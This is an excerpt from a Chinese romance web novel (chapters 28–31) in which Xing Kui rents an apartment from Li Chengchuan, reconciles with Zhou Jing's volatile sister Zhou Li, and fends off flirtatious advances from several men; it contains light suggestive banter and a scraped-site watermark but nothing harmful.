电话那头迟迟没声音,邢葵敲敲手机,“喂,听得到吗?” “你说。”两个字传进耳朵,音线低沉。 邢葵松了一口气:“可算能有人听我发牢骚,我最近遇到一个人,我只想和他谈皮肉,他非要跟我谈心,真令我头大,事情怎么就这样了呢,虽然他愿意跟我讲,我内心爽爽的,但这不对啊!我想换人了,要不趁事态恶化前,我换个人吧。” 周骗子先生镜:“……” 第28章 … 邢葵就是想说说话,无论手机那边是条狗还是只鬼,能容她发泄几句随便是什么东西,只是她绝对没想到,电话那边是周镜。 讲完一气,邢葵舒爽许多:“那就这样吧,谢谢你。”钱是肯定不会给的,骗骗子等于积德行善。 她要挂断电话。 “再试试。” 骗子先生的话音突然传来,不是,她纯粹发个牢骚,对方怎么还给她提起建议啦? “试不了真的试不了,我决定了,我要换人。”正好换个服务意识好的!周镜亲人回回都太用力!“谢谢你,拜拜。” 通话结束,感觉接下来找到行动方向的邢葵神清气爽,修改骗子标记,从“好骗,已骗二十五”改成“好骗,已骗一百二十五”。 咚咚,一只瘦长的食指扣上磨砂玻璃:“锁门?” 是周镜的嗓音,温柔、平稳,透着能镇定人心的力量,却让做贼心虚的邢葵一惊,火速放下手机拿牙刷挤牙膏:“我这,刷牙呢,口腔是很重要的地方,我要慢慢刷,你别打扰。” “我想我已经打扰过二十八次。” “!” 他怎么还计数!邢葵脸颊霎那烧了起来,像在沸水里滚过几分钟的小草虾,红红的,也死死的。 “对了,这是我卧房的卫生间,我想你现在用的是我的牙刷,没别的意思,就是告诉你一声,毕竟我不像厉乘川一样洁癖。” “!”僵硬低头瞅了瞅手中通体灰色的牙刷,邢葵赶紧打开门,恭敬向周镜递上刚挤上薄荷味牙膏的牙刷,“我还没用呢,给你。” 门的外面,周镜还没换下睡衣,因为尚未洗漱,也没戴眼镜,昨夜昏暗,如今沐着晨光能更清晰地看见他的双眼,眼窝深邃,睫毛分明。 接过她递过去的牙刷,他抬起暖烘烘的手掌覆上她的额,停了几秒:“退烧了,待会儿再吃颗药。” “嗯嗯,”邢葵仓促敷衍,往外走,“那我回我房间刷牙洗脸。” “不用。”摸过她额头的手掌拉住她,周镜向里走了两步,拉开洗手台下抽屉,抽屉里有几支未拆包装的新牙刷,都是一模一样的灰色,邢葵房里的也是这种,不然她也不会紧张错拿,“节省时间。” 节省,什么时间? 也好,她刚好想想如何跟周镜说,她不准备再追求他了,这事儿得尽快利索地解决,拖得越久越伤害人。 邢葵刷着牙齿,思忖遣词造句,弯腰吐掉牙膏泡沫,再用清水漱口洗脸,水泽从面颊滚到下颌,她抬起腰,一只手臂兀地揽住了她的腰肢。 周镜将她翻过来,抵到洗手台,眉眼和煦得如春日微光:“可以亲了,葵葵。” 邢葵脑子空白一瞬:“你该知道渴肤症是假的,我们不用再早安吻。” “可以继续。”周镜低头,刚刷过牙,浓烈的薄荷气味凑近,“我想过了,你不愿走进我的世界,那换我来走进你的世界,你不用追我,换我来追你。” 他说,换他来追她。 他说,换他来追她?! 叮——铃——门铃声响起,邢葵如获大赦,扯开周镜手臂:“来人了。” 这个时间点,谁敲门打断他们? 周镜眉心压了压,踩过卫生间瓷砖,走出卧室,他刚从电话中得知了邢葵要换人的心思,正在加以阻碍,不想被人叨扰。 骨节分明的手按住门把,屋门打开,一身正装的厉乘川站在门外。 呵,换人。 不会换旧人吧?葵葵。 律师多年周镜接触过的案件不下于一千,里面有不少都是因为复合引起的,或许他该跟邢葵科普科普,许多人都为粘连破碎的镜子付出了高昂代价,破镜,从来难以重圆。 厉乘川走进屋子:“邢葵醒了吗?” 醒了,你要来得晚一点,他们还能接上早安吻。 周镜内心对兄弟还是有些亏欠,低嗯了声作为应答,瘸子走路的声响传来,邢葵自周镜房里走出,扶住墙,诧异地望向厉乘川:“是你啊。” 厉乘川步伐骤顿,一双锐利的眼睛盯住邢葵:“你为什么从主卧出来?” 当然是因为昨晚他们睡一张床。 周镜移动脚步,此事隐瞒厉乘川不符他的为人,他不介意此时此刻就摊牌,厉乘川看中的未婚妻,他也看中了。 “啊?主卧宽敞阳光好,昨天发生了那么多事,我又受了伤,周律师就发善心跟我换了房。” 周镜欲言又止,看向邢葵,事件性质已经不同,邢葵怎么还瞒,不会真打算换回旧人吧? 他不清楚邢葵忘了厉乘川,邢葵自己也不清楚。 她看都不看周镜,看了显得像他俩在对口供,增加厉乘川的怀疑值。 她牢牢记得呢,不论江玉鸣还是周镜都跟她说要瞒着厉乘川,在住院期间她也深有体会,厉乘川特爱管兄弟闲事,和他兄弟的任何事都最好瞒着他。 那厢,厉乘川相信了邢葵“周镜好心换房”的说法,望了眼好兄弟,眸中颇为赞赏,知道照顾兄弟妻,他冷硬心肠都不禁熨帖。 比许野那个毛头小子好。 “真没想到许野说的和人吃饭要人先拿体检报告的兄弟就是你啊。” 厉乘川立时绷起脸。 邢葵扫量厉乘川,西服熨烫平整,黑衬衫纽扣系到最上方一颗,形象瞧着是像固执严厉的老古板,但居然洁癖到要求同桌者先去抽血体检,不可思议。 “我们住一起那么久,我都没看出来你洁癖到那种程度。” 不了解厉乘川曾伪装过病友的周镜紧了紧眉宇:“你们也住在一起过?” “是啊。”邢葵摆摆手,“不提了,都是缘分。” 缘分,周镜克制唇边冷笑,心头对兄弟的亏欠都减弱几分,不管人曾经在哪里,如今人在他的家、住他的卧室、睡他的床。 “许野还在上学。”厉乘川严肃地替自己解释,批评起许野,“文化不高,说话欠缺轻重,你听一半就行,别往心里去,我没那么洁癖。” 今天听到的最大笑话,厉乘川说他没那么洁癖,鼎天集团那些每见他一面都要抽好几管血的股东哭晕在厕所。 邢葵摸头,又来了,这熟悉的兄弟在背后说彼此坏话的感觉:“没关系啦,就算有,和你一起吃饭的人能接受就好。” 反正她以后不跟他一起吃饭! 怕说错话触怒霸总,邢葵讲话和声细语,整个人像软软的棉花,让人想抱在怀里揉捏。 周镜松松握了握拳头,遏制醋意,引走话题:“你来有事?” 拧着眉的厉乘川微微松气,许野那个毛头小子长舌乱语,着实不及周镜行事妥当,还会给他递话头。 “嗯。”周镜意在终止厉乘川和邢葵对话,但厉乘川来的目的就是邢葵,“你不是在找房吗?我家旁边那套房也是我的,平时租给别人,最近刚好租约到期。” 邢葵找了个椅子刚坐下,闻言惊喜亮眸:“真的吗?”她真得搬走了,周镜要追她,她很为难。 话说总裁还要收租?也是也是,谁也不会嫌钱多,何况总裁也有巨富中富小富迷你富差别,兴许厉乘川是小富迷你富呢。 周镜神色微变,迈开长腿,坐到邢葵旁边,话里有话:“不妥,她有伤在身,不该住‘旧房’。” 厉乘川看了看周镜,误解好兄弟是给他表现机会,暗自赞许,随即对邢葵道:“已经打扫干净了,现如今周梨回了国,你留在周镜家许还会有危险。” 不止干净,房子内部软装从大型家具到窗帘挂钩全部换新,并且早就换新完成,只是一直没有开口时机,眼下周梨出现捣乱,意外带来了好时候。 “不必担忧周梨。”周镜不愿邢葵搬家,内心不适翻涌,外在语气和缓平稳,“ 周梨身上有综艺合同,是半路出逃,她很快就会走。” 昨晚周镜就处理过了,他的事务所已经联系上综艺制作方,必要时会帮他们采取法律手段逼周梨返回拍摄。 “综艺?周梨是明星?!”邢葵惊讶,“我都没发现。” 周镜看看她,眼神柔和:“无碍,也不红。” 厉乘川点头:“的确。” 周梨现下的综艺,还是因为前段时间厉乘川用厉家控股的珠宝品牌代言交换周镜接邢葵车祸案,之后品牌投资综艺,便将周梨送进了节目组。 “你的房子,我还挺感兴趣的。”邢葵轻声,周镜再不情愿,最终拿主意的还是她。 她想搬,如果是厉乘川的房,别的不说,不用看房也知道卫生有保障,“我能问问价吗?” 京江市是全国GDP第一的大城市,房租也相当高昂,邢葵先前的房子又小又偏远,卫生间总占地不超过三平,月租也要一千九。 而这个小区虽然老,所在城区也不特别富庶,但临近地铁,和地铁近的房租都会飙高,邢葵担心会很贵。 她的心理价最多最多四千,最多最多四千五,不能再多了! “我可以便宜点租你。”厉乘川来之前安排助理陈泉做过全面调查。 这里的整租月租金在5k到12k区间,他那样规格的房子属于一万二的价位。 给老婆打个三折不过分吧? “三千六一个月。” “三千六一个月?!”邢葵惊诧,声音都抬高好几度。 “嫌贵?”厉乘川喉结下压,有点紧张,“你可以报价,我不差钱。”他补充,“就当做慈善,富人有时候需要做慈善,你明白。” 这样的慈善请务必给她多来一点啊! “我租了!”邢葵拍板决定,心生感激,嘴也甜,“好心人,你会发大财的!” 南州首富厉乘川通常不稀罕这种话,但这是邢葵说的,意义不同,他嘴角难以察觉地弯起弧度:“那去看看房子吧。” 出门、关门、再开门,周镜铁青着脸跟在两人后面,租厉乘川的房还要三千六,住他家无需分文。 房子就在厉乘川家的左边,等于周镜家的右前方,怕邢葵起疑心,内部装修没依据她的喜好,各种厉乘川式黑色系,简洁风。 邢葵相当满意,各个房间地窜,她喜欢什么后期能添,简单的黑白就如未沾颜料的画纸,能任由画家挥毫。 “走慢点。”厉乘川看着她的腿,经不住提醒,看向周镜,英俊立体的脸笑意若隐若现,“我去拿合同。” “等一下!”邢葵从一间房里探出头,眸里溢着兴奋神采,“我们先加一下微信吧,往后你就是我房东,加一下微信,我有需要能联系你。” 厉乘川:(>▽<) 终于等到这一天了。 第29章 加上邢葵微信,厉乘川出门时步伐都是飘的,估计得在家回味好一阵儿才会回来。 周镜收回视线,厉乘川不解风情,为人深沉内敛,其实没有特别强烈的外在情绪表现,但他就是觉得厉乘川心里嘴角已经咧到了耳后根。 室内桌椅是黑的,窗帘是黑的,吊灯是线条拼接,这栋房子处处都是厉乘川的风格,处处充满了厉乘川。 周镜垂在长腿旁的手指缓慢蜷起,对面,邢葵正抱着手机盯着厉乘川的微信笑,加回已分手的前任就这么开心? 的确,邢葵两眼都快笑眯起来了,但不是出自周镜猜想的原因,而是她正在改备注,因此扫见了厉乘川的微信名,他的微信名也太好笑了吧! 病友兼邻居兼房东的厉乘川头像是系统初始默认头,原以为他名字也可能是默认id,邢葵就随意瞄了眼,结果竟然是:3丨。 三个竖,等于“川”。是啦是啦,她能瞧懂“3丨”的含义,但“丨”这个看似符号的字,有着自己的发音,念:“gǔn”。 三滚——小三,滚。 顶着这个id跟小三聊天得多搞笑啊!笑着笑着,邢葵呛到,一只手搭上她的腕,取走她的手机。 “你就这么急着逃?”平静的、会让人想起春夜深潭的声音传来。 邢葵猛地收住笑,后退,抵住墙无处可躲。 “方才你和厉乘川说,可以的话,你想今天就搬进来。” 周镜压着她到墙边,滚滚的薄荷香往她鼻子钻,握住她手腕的手掌滚烫,有些粗砺的指腹摩过手腕经脉,覆到她的面颊。 他口吻温温和和,好似不生气,“我希望你是觉得瞒着他刺激,而不是……” “而不是什么?”邢葵无法躲闪,指头扒拉墙壁。 而不是想换成他。 周镜眸中掠过暗芒,他和厉乘川在个人本事上惺惺相惜,在法庭商场上彼此帮衬,但不代表他们连恋人都能共享。 “你要背着他,我可以陪你玩。”周镜俯身,薄荷的香气轻柔扑洒邢葵的唇,如袅袅雾丝,“你想离开我家,我也能帮你搬,只要你别忽视,我正在追求你,葵葵,我认真的。” 要命。 邢葵腿紧紧贴着墙,慌张得不知如何回应,胡言乱语起来:“你别、别认真,我是会想谈一场酣畅淋漓的恋爱,但我想的酣畅淋漓只限于肉身你懂不懂。” 周镜闷笑一声,眼神柔色泛泛,如夜幕月辉照在清溪,如飞鸟软翅掠过溪面:“你想要的淋漓是从哪里开始?唇还是?” 这会儿不是夜晚,不是含羞草叶片合拢的时刻,却有一株盛放的含羞草在邢葵脑里,围绕着她的脑子闭合,她努力地想从密不通风的叶片中挣出缝隙。 “禁止勾引我。”邢葵脸颊火烧一般红,“明知我脑受伤糊涂管不住嘴,你还顺着往下说。” 周镜轻柔抚摸她的脸,指尖牵着皮肤寸寸加速升温,他张开薄唇:“禁止无效。” 矜贵的脸低下,额间黑色的碎发接近邢葵额头,唇也即将相贴,门外忽地传来响动,她全身一抖,猛地推开周镜。 双颊烫得厉害,厉乘川必定瞧得出异常,邢葵二话不说,抓住周镜就把他推到后面房里,关上门。 只有她一个人在屋子,应该不会让人想歪吧? 邢葵按胸缓气,拉拉嘴角挤笑,在关闭的房门前转过身:“周梨?” “你换对面儿住了?”高跟鞋噔噔踏着地板,今日换了件玫红色皮草的周梨走进门,就连指甲都是皮草同款玫红色,依然是短发戴墨镜。 邢葵心陡然提起,换房子有防备周梨的意思,谁曾想她还在看房子阶段,大门敞开着,周梨就来了。 墙壁上极简风的挂钟显示早晨八点半,周梨在她家,仿佛自己家一样逛来逛去,露在外的脖颈还有美工刀留下的痕迹。 邢葵悄悄后退,抵到身后房门,手负到背后抓住门把手。 要是周梨还敢乱来,她开门放周镜。 “喂!看到我这么害怕,脸红成桃子。”周梨逛了几步,投来视线,眉毛和下巴都高傲地昂着。 没有啦,脸红成桃子是因为你哥。 “伤口怎么样了?”周梨盛气凌人地问。 邢葵瞥了眼手掌,纱布渗出的血已经凝结:“还行。” 周梨也看见染血的纱布,嘲笑:“活该你流血,谁叫你帮我挡刀,你圣母吗?” “别乱用褒义词。”邢葵一秒不迟疑地反对,不喜欢有人用本属于女性的褒义词骂女性,而且,“我帮你是你没真想伤害我,你要真想害我,我才不挡刀,我会抓住那把刀往你动脉上扎。” 周梨愣怔一下,撇过头装模作样地看天花板,耳朵诡异地红了:“那你愿意原谅我咯?” 邢葵鼓足勇气:“不愿意。” “哼。”周梨墨镜下鼻孔哼气,扭身噔噔噔走出门,玫红色皮草长毛在空气中一晃一晃。 以为她被气走了,邢葵想放出周镜,刚偏过头,听见一阵轮子滑瓷砖的响声,门口处,周梨涂玫红色甲油的手拉着一辆小推车重新涉过门槛。 推车上 一个个盒子袋子,叠得极高。 一路拉到邢葵面前,周梨捧起最顶上的透明蛋糕盒:“喏,金诺言的春日限定蛋糕。” 邢葵接过来。 周梨接着拿起第二件医药箱:“喏,家用医疗用品套装。” 邢葵把蛋糕放地上,接过第二件。 周梨随后拿起第三件:“爱马仕拖鞋。” 有点贵重,邢葵把医药箱放地上,接过第三件。 第四件、第五件……第N件…… 推车清空,邢葵脚边已然放满了东西,方盒纸袋大大小小地将她包围,正对面,周梨昂着下颌,状似不耐烦地挥挥手:“这下能原谅我了吧?” 邢葵眨了一下眼,会意:“不可以。” “你这人怎么这样!”周梨立时绷不住,破防喊出声,气愤得用细高跟接连蹬了好几下地面,“我都送你这么多东西了,你还不原谅我!你怎么敢不原谅我!你知道站在你面前的是谁吗?” 邢葵想了想:“一个不红的明星。” 周梨噎住,随即更吵闹地大吼,脚跺地板,手膀狂甩,唾沫星子乱飞:“谁说我不红了!谁说的!我去年还拿了微博发疯戏最逼真女艺人!” 你还用演嘛,邢葵小声:“实至名归。” “就是!有眼光!”周梨得意得挑眉挺胸,哼哼唧唧,“那你现在想原谅我了吧?” 她是得过奇怪奖项的艺人和她有什么关系,邢葵为难地看看周梨:“不想。” “你!再不原谅我信不信我打你!”周梨挥起拳头。 漆黑的门后,周镜正靠在门边倾听,避免周梨缺乏分寸,听到周梨嚣张跋扈的发言,墨眉一蹙,转动门把想现身,怎料,门刚推开一条缝,扑咚一声,周梨戏剧性地扑到邢葵腿边。 饶是沉稳的周镜,都不由愣了愣,透过门缝望去。 邢葵也很懵,低眼,周梨不顾形象地锁住了她两条腿,跪在她身前嚎啕大哭:“你原谅我嘛,我知道错了,我一晚上都没睡得着觉,脑子里都是你保护我的样子,我凌晨就出门给你买东西,你原谅我嘛,不会有下一次了,呜呜呜呜。” “你松手。”邢葵后背都冒起了鸡皮疙瘩,周梨唰地取掉墨镜,泪水从两只画烟熏妆的眼里下雨般掉,一点不见此前傲慢孔雀的样儿。 “我不松!就不松!”眼泪甩上邢葵奶黄色睡裤,周梨耍无赖,“除非你肯原谅我,否则我拿针将我缝你的腿上。” 她竟真拿出一根针!细细长长,十分骇人。 好神经质的人,邢葵想起周镜同她讲的周梨身世,父母双亡,被她视作是仇人的家庭收养,怎么说呢,不是当事人永远不能明了当事人怀着怎样的心境活了二十几年,也不能强求她懂事懂理。 她叹了口气,在周梨叫人一个头两个大的哭嚎声中弯腰。 周梨抹着泪水困惑望来,邢葵打开腿边刚刚收到的医药箱,从中取出一片创口贴,撕开包装,手移到周梨脖颈伤口附近,温柔地为她的伤口贴上创口贴。 然后,用尽她全部力气揪住了周梨短发,怒报那晚扯发之仇,微笑:“不要再有下一次。” 她扯头发好痛啊。 她的手指好冷啊。 可是她好暖啊。 周梨跪在邢葵腿边,止了声,浸着水泽写满破碎的眼睛缓缓睁大。 “还不放开我的腿?欸——” 猝不及防,周梨从下扑上来,抱住了邢葵,哭的分贝比刚才高出几倍。 “哇——哇——哇——以后我就是你的小妹,你让我往西我走到西天,哇——哇——哇——好想把我缝在你的身上……” 邢葵:“……”她怎么更想缝啦? 门缝那面,望着这一幕的周镜眸中浮现几丝欣慰。他不婚,正是因为周梨。有周梨这样致力于让他过得不痛快的妹妹,他的妻子又如何生活开心。 然而昨天周镜就猜测,邢葵能治住周梨,今天更是实证。 周梨本性不坏,做了坏事会有罪恶感,但还从来没人将她逼到下跪。 邢葵看似性子软,可实际上她几乎不会被人带节奏,至少周镜没看过她被带节奏,除非她自己乐意。 她思想独立立场坚定,除了生她养她的母亲能让她包容,其他人,她有仇报仇有怨报怨,说不原谅就不原谅,说怎样就怎样。 这是条相当优秀的特质,也给周镜带来了极大挑战,周镜捏了下眉心,追妻之路布满荆棘,幸好邢葵还没当面亲口跟他说要换人。 无论如何,周梨这道关隘算是解决了,周镜面前少了一只拦路虎。 “但是你真别跟周镜在一起。” “?” 门缝外,周梨在单方面认了姐妹后,总算放开邢葵,一边擦着眼泪一边重新戴上墨镜:“我这会儿劝你是真心为你好,周镜上初中那几年老跟不三不四的人鬼混,谁知道他当时有没有乱搞。” 周镜:“……”我有没有乱搞我自己很清楚。 “就算他后来改过自新了,那东西又不能割了重长。”周梨热情关心她单方面认定的好姐妹,“你找男模都要求是处,找男人肯定更严苛,听我的,换了他,找个能确定的。” 听到换人,邢葵眨眨眼:“换谁啊?” “厉乘川啊!”周梨凑过来,套住她耳朵,自认为小声其实也不小地道,“他洁癖巨严重,绝对没碰过女人,我甚至怀疑,他那地方是粉色的。” 咔哒,周镜开门出来:“周梨,回节目组去。” 第30章 这一声,近乎用上周镜全部的教养来压制怒意,萧疏平和的眉眼仍呈现温和,唯独瘦长的手指抓着门把手,指节发白。 他是斯文人,且是位居上层的斯文人,精力和时间都宝贵,不会浪费精力浪费时间与不懂事的人计较。 什么粉色的。 无凭无据的事岂能乱讲。 周镜走出房门,不疾不徐单手抓住周梨玫红色的皮草,却如老鹰抓小鸡般令周梨不能抵抗,他向邢葵颔首表达歉意:“我这就带她走。” “你干什么。”周梨慌张挥手扑腾,眼睛瞪得赛铜铃,用尽力气也无法挣脱,尖锐嗓音,“我跟我闺蜜讲话呢。” 周镜:“这里没有你闺蜜,只有你哥。” 周梨:“这里没有我哥,只有我闺蜜!” 邢葵还陷在听到方才话的震撼里,对兄妹争执充耳不闻,埋着头,脸颊如同三月里枝头绽开的桃花。 “在聊什么?”家门口,厉乘川走进来,手里拿着租房合同。 周镜要答。 周梨也要答。 转不动大脑的邢葵率先脱口而出:“在聊粉色的。” 啊啊啊不是,她在说什么!邢葵清醒过来,耳朵爆红,恨不得原地挖洞,就地变身胡萝卜,一猛子扎进去。 低着的闪烁的视线落到厉乘川黑色皮鞋,不自控地沿着黑色西装裤脚上移,游走过他一双极品大长腿,止住,不能再看了。 “你喜欢粉色?”大长腿越来越近,那一块儿也越来越近,厉乘川低沉、偏向严厉的嗓音同样离她越来越近,透着些微困惑。 不知道呀,这,她,她谁的都没看过,不好说。 “你不是喜欢黄色吗?” “啊?对对对,我是喜欢黄色。”意识到厉乘川误解她指的是想添的家具颜色,邢葵连忙应和,是的,世间所有颜色中,她最喜欢向日葵花的颜色,“欸?你怎么知道?” 厉乘川避开眼神,公司员工入职都要填资料,包含个人喜好等等,方便人事部针对性购买奖品,邢葵填的那一张,他倒背如流。 况且只要观察用心,邢葵喜欢什么颜色其实也明显:“我看你平时穿着都会涉及黄色元素,手机壳也是向日葵,那天我在你家,看到你的笔记本电脑背面也贴着葵花贴纸。” 邢葵瞅瞅身上奶黄色的睡衣,抬首绽开笑颜:“是是是,黄色明亮,看着就让人开心!” 厉乘川望着她,薄唇抿成一条线,顿了会儿,启唇:“嗯,看到就开心。” “既然你俩这么开心,你俩在一起吧!”周梨兴奋地喊道,一边扭着身体想从周镜手里逃脱一边倾向邢葵,“好闺蜜,我挺你劈腿,周镜这边有我帮你挡!” “抱歉。”周镜拽动 周梨,视线与邢葵交汇,冷静如深海,“我去处理一下,待会儿回来。” 邢葵快速地点了两下头,发出一个感谢的眼神,再让周梨留在这儿危险发言,她脑袋都要炸了。 周镜带走周梨,于是房里只剩下邢葵和厉乘川两个人,二人目光交错而过,各自一咳。 “你别……”厉乘川想说别往心里去,但是,邢葵要是能记在心里也未尝不可,因此话说了两个字顿住。 “你别往心里去!”邢葵却说得超级快,抬掌往脸上扇了几下风,呼气,“你认识周梨很多年,应该清楚她就是这样的性格,癫癫的,说话横行无忌,我没那种意思。” 那你怎样才能有那种意思? 我不介意你有那种意思…… 你怎么能没有那种意思…… 厉乘川无意识地攥紧手中合同,唇瓣抿起,他是较为传统的性子,不擅直白露骨地表达心意,安静片刻,道:“嗯,你收服她了?” 邢葵费解摸头:“不知道哎,我拽了把她的头发,她就喊我好闺蜜,随便吧,少个敌人也是好事。” 该说不说,看着厉乘川,邢葵脑子里还装着“粉色的”三个字,很不好意思地移开眼,找点事情转移注意力,拿起手机拍摄新家。 清晨柔和的光芒洒在邢葵身上,她神情专注,一身奶黄色的棉质睡衣,在晨光中仿佛跃动光点。 诚如她所言,黄色明亮,她站立在一片黑色家具中,纤细瘦弱,却像能吞没黑色的星星。 厉乘川喉结动了动,有点渴,抑着渴意,他沉声询问:“你好像总在拍照片,在医院的时候是,昨天也是,许野跟我说,你借了他的手机拍照。” “啊是,我拜托他发给周律师,周律师已经转发给我了。”邢葵挑选着拍家里全景的角度,“我在做自媒体,闲着也是闲着嘛。” “自媒体?” “嗯,分享一些日常什么的,我还发过你呢,不过不关涉隐私,你放心。” 邢葵的日常里有他邢葵的日常里有他邢葵的日常里有他……厉乘川一瞬间近乎不能呼吸,抬指扯了下黑衬衫领口:“我能看看吗?” “行。”邢葵走过来,她粉丝增长得挺快,尤其某抖这种用户规模大的平台,粉丝总量已经破万,她点开一条视频,“你看。” 手机送近,漂亮的颅顶也送到厉乘川下颌下方不远。 垂落的发丝乌黑柔软,杏仁般的眼睛干净澄澈,唇瓣是水粉色,软绵绵的,看上去能联想到亲起来的感觉。 厉乘川喉咙更渴,黑瞳幽深,邢葵散着一股薄荷香气,肯定不能是因为周镜抱了她或亲了她。 她只是用了周镜家的牙膏,以后她不会用了。 邢葵脸颊发烫,答应给厉乘川看的时候没觉得有什么,这会儿点开了视频,瞅见飘动的弹幕,每一根汗毛都叫嚣着快跑。 视频不长,拍的是邢葵出院时厉乘川送她的那一套衣服,上方有几行抓眼的文字,下方文案详情被折叠,浏览量七十万,点赞过两千,弹幕满屏地飘。 【这不是普通的衣服,这是嫁衣!】 【总裁男仙品!请务必多发一点总裁男!】 【楼主更新更新医生男吧,饿饿,饭饭。】 【律师男,我的律师男(阴暗爬行)】 【校霸男没下文了吗?年轻有活力的小狗更适合楼主】 邢葵尴尬得不知所措,手指抠着手机边缘:“咳,这个,发到网上引来这方面关注很正常。” 当今时代,很多公司都会在社交媒体建官号营销,她想厉乘川应当能理解。 厉乘川的目光停在那些文字上:“医生男?江玉鸣?” 邢葵小声:“嗯。” 厉乘川:“律师男?周镜?” 邢葵更小声:“嗯。” 厉乘川:“校霸,许野?” 邢葵声音细弱蚊蝇:“嗯。” 确定三人身份,厉乘川这才望向她,因为眼尾略微上翘,垂眸瞧人时显得压迫,就在邢葵以为他在无声酝酿怒火时,他线条清晰的下颌往下点了下:“可以。” 他道,“他们的形象能带来热度。” 邢葵眼睛一亮:“你不介意啊?” “介意。”简短的两个字。 邢葵蔫了下去,完啦,厉乘川要是逼迫她删帖,网上那些骂她为起号编故事的人八成会认定抓到实锤,骂得更凶。 “他说许野更适合你,完全是在想当然。”出乎意料地,厉乘川伸指,点向屏幕,并评价,“当今时代,年轻不代表有活力,自律的、重视锻炼的三十加不比大学生差。” 原来是介意这个,邢葵忙不迭附和:“就是就是。”她记得之前厉乘川说许野的话,拿过来恭维,“许野大学还没毕业呢,哪及得上厉总您成熟理性、稳重贵气。” 救命恩人对不起!下一帖她狠狠夸夸你! 厉乘川唇角翘了翘,他是很厌恶称赞好友们的评论,但为了邢葵尚能忍耐,毕竟邢葵自身没有弹幕中的想法,而她提到的兄弟们: 江玉鸣,唯爱超模,声称他看上邢葵是他没眼光。 周镜,不婚主义者,也是与他最惺惺相惜的朋友。 许野,是个意外,但听得进兄长的话,已经收心。 他们都让人放心。 不让人省心的是某位还没回国的兄弟。合同签约结束,厉乘川家里,他倒着水,和周镜单独聊话。 “许野同我坦白,他偷拍了你在飞燕商场外抱邢葵的图。”厉乘川饮了几口白开水,嗓子舒适许多。 沙发上,周镜叠腿而坐,腿上放着灰色笔记本电脑,正从容不迫敲击着键盘,闻言连头都没抬。 厉乘川悄无声息窥察,确定周镜毫无异样,才端着水杯走向他,“辛苦你照顾邢葵,都是许野行事欠妥,前几日,许野还将照片发给了那个话痨。” 接过厉乘川递来的玻璃杯,周镜握着杯身的指尖一抬:“这么说,是他将照片发给周梨,才引得她出逃节目组回国?”他撩起眼皮,“你交代过他,别来报复邢葵吗?” “早说过了。”厉乘川捏了下眉心,眉间戾气一闪,“但他你也了解,我说一句,他回一百句,根本不听。” 那人相当的叛逆、傲慢、目中无人,虽然常把兄弟情深放嘴上,但实际上无比自我。 这样的他,偏偏还超渴望谈恋爱,每年都要去寺庙求桃花运,连微信名都是“甜甜的恋爱会找上我”。 而在厉乘川眼中,邢葵全世界排第一的好。 若让这位兄弟遇到邢葵,厉乘川都能构想到兄弟原地变情敌的画面。 这段时间,那位从邢葵住院起就很想回国的话痨男一直回不来,也是厉乘川未雨绸缪,暗中施加阻拦。 “确实要警惕,周梨抱着邢葵的腿哭嚎数分钟,就让邢葵退让,要是他回来黏上邢葵,后果不可预计。”周镜平静地喝水,邢葵分明不算退让,她已经报了扯发之仇,但这里周镜并未提及。 光照着他金框镜片,挡住眸中算计,“你也不想被兄弟抢走未婚妻吧?”他面不改色地,用一个情敌对付另一个潜在情敌。 厉乘川不知道他面前就坐了一位强劲情敌,但另一位情敌确是他所忌惮的,摩挲起无名指骨节:“我会注意,不过……” 他语气笃定,“邢葵不会喜欢他,我们认识多年,她从来对异性都是抗拒态度,只有我和她差点结婚。” 周镜杯子里的水波动一下,映光的水面泛起涟漪:“你倒是对她特别。” 哪有啊,邢葵也仅仅需要他契约结婚,厉乘川心里苦,但不想跟好兄弟 说,以不回答默认。 周镜放下水杯,移开腿上电脑,起身:“聊完了,白天我家热水器坏了,今晚我在你这里洗澡。” 厉乘川眉梢一拧,显然不愿被人借用私人浴室。 “或者我去邢葵家借?” “就在我家。”厉乘川马上改口,“但我先洗。” 雾气弥漫磨砂玻璃,天花板凝聚的晶珠在模糊的雾面流下水帘,沾着乳白色沐浴露的宽大手掌拂过窄腰万分性感的人鱼线。 水珠从厉乘川的睫毛落下,他瞳仁如夜,因为邢葵和他加上微信,因为邢葵就住在他的旁边,薄唇心情很好地弯起。 冷不丁地,浴室门被打开。 厉乘川条件反射地身躯一惊,转过雕塑般完美的脸,英俊的眉眼蔓延淡淡疑惑。 “哦,你还没洗完啊。”周镜不紧不慢地扫了扫他,攥住门把手,镇定撤身,“快洗吧,我时间宝贵。” 厉乘川莫名,回过头,继续洗澡。 浴室的门阖上,周镜伫立在门边,推了下鼻梁上染雾的金丝眼镜,嘴边拉开讽刺的笑。 呵,粉色。 那厢,邢葵家中,粉色的唇瓣被一根修长的食指抵住,江玉鸣一只腿跪在邢葵床上,笑得艳光四射。 “有没有想我啊?好孩子。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 床头柜上牛奶热气氤氲,腰抵着黑色被褥,邢葵正身处床边,还在床外的两条腿间,跪着一条来自江玉鸣的腿。 白皙如玉的食指抵住她的唇,江玉鸣垂着靡丽溢艳的眸子,含笑望着她,视线一寸寸抚摸过她的脸颊。 “你。”一张口,唇瓣便向上向下在他柔软的食指上划过,邢葵腮颊发热,克制住羞耻,接续说道,“能不能正经点,不是说帮我套被子吗?” 新家没监控,不代表是让你发-情的啊喂!江医生送了四件套作为搬家礼,一到卧室还没套被子就撩她,上了一天的班他哪来如此旺盛的精力! 似乎很爱看她羞涩的模样,江玉鸣绯色的唇角慢慢勾起:“那套好被子就能不正经了?” “江玉鸣!” 冲出口腔的热息扑洒手指,撞得江玉鸣眼瞳微微涣散,压着邢葵唇的食指加重力道:“喊得真好听,再喊一声。” 他还爽到了,邢葵抿住唇,耳根红得赛落水的红胭脂,除非他移手,不肯再吭声。 “又不肯应我,上回我来找你也没亲成。”江玉鸣收手,邢葵方一缓气,他猛地将她从被褥上拽进他怀里,属于他的一根手指举在她近前,因为曾覆到她唇上,指面沾着一层潮润水雾。 他俯首,比旁人长的红舌伸出,一卷。 邢葵确定,她大脑里这会儿肯定有什么东西炸开了:“谁、谁让你舔了!” “邢葵。”江玉鸣蕴着水的艳丽眼睛望着她,“这是我的手指我的舌,连这都不允的话,我可是要伤心的。” 邢葵羞赧至极,心脏快速跳动,双手捂脸,满脑子都是方才江玉鸣舔的样子,舌头长软、喉结滚动、眼睛盯着她,性感且蛊惑。 “你还要不要套被子?”灼热的呼吸惊起耳朵绒毛颤栗,江玉鸣一手扣着她的腰,凑在她的耳边,“捂着脸怎么套?” “你去套。”邢葵踢了踢他,“我要冷静一下。” 